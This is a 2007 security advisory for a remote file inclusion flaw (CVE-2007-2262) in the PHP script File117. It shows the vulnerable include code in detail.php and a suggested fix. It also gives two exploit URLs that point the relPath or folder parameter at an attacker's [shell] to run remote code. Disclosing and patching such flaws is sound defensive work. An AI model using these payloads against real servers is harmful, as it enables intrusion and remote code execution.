File117 Remote File Inclusion

2007-04-26 / 2007-04-27

Credit: InyeXion

Risk: High

Local: No

Remote: Yes

CVE: CVE-2007-2262

CWE: CWE-94

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~
                         File117 Remote File Inclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~
                          Affected Software .: File117
                          Download..: http://www.sinato.com/jmuffin/upload/file117.zip
                          Risk ..............: high                              
                          Found by ..........: InyeXion                                                  
                          Contact ...........: InyeXion[at]gmail.com    
                          Web .............: Www.InyeXion.com.ar                               
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~

Affected File:                                                                
/html/php/detail.php

Vulnerable Code:

<?php
include_once("phpInterface.php");
$$cmname=$cm;
include($relPath.$folder."/".$templatename);
?>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~
Exploit:
                                                                      
    http://[target]/html/php/detail.php?relPath=[shell]? 
    http://[target]/html/php/detail.php?folder=[shell]? 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~

Fixed bug:

if((isset($_REQUEST['relPath'])  || isset($_GET['relPath']) || isset($_POST['relPath'])) && !defined("relPath")){
die("denied access"); }

AND

if((isset($_REQUEST['folder'])  || isset($_GET['folder']) || isset($_POST['folder'])) && !defined("folder")){
die("denied access"); }

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~~~~~~~~~~~~~

See this note in RAW Version

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File117 Remote File Inclusion

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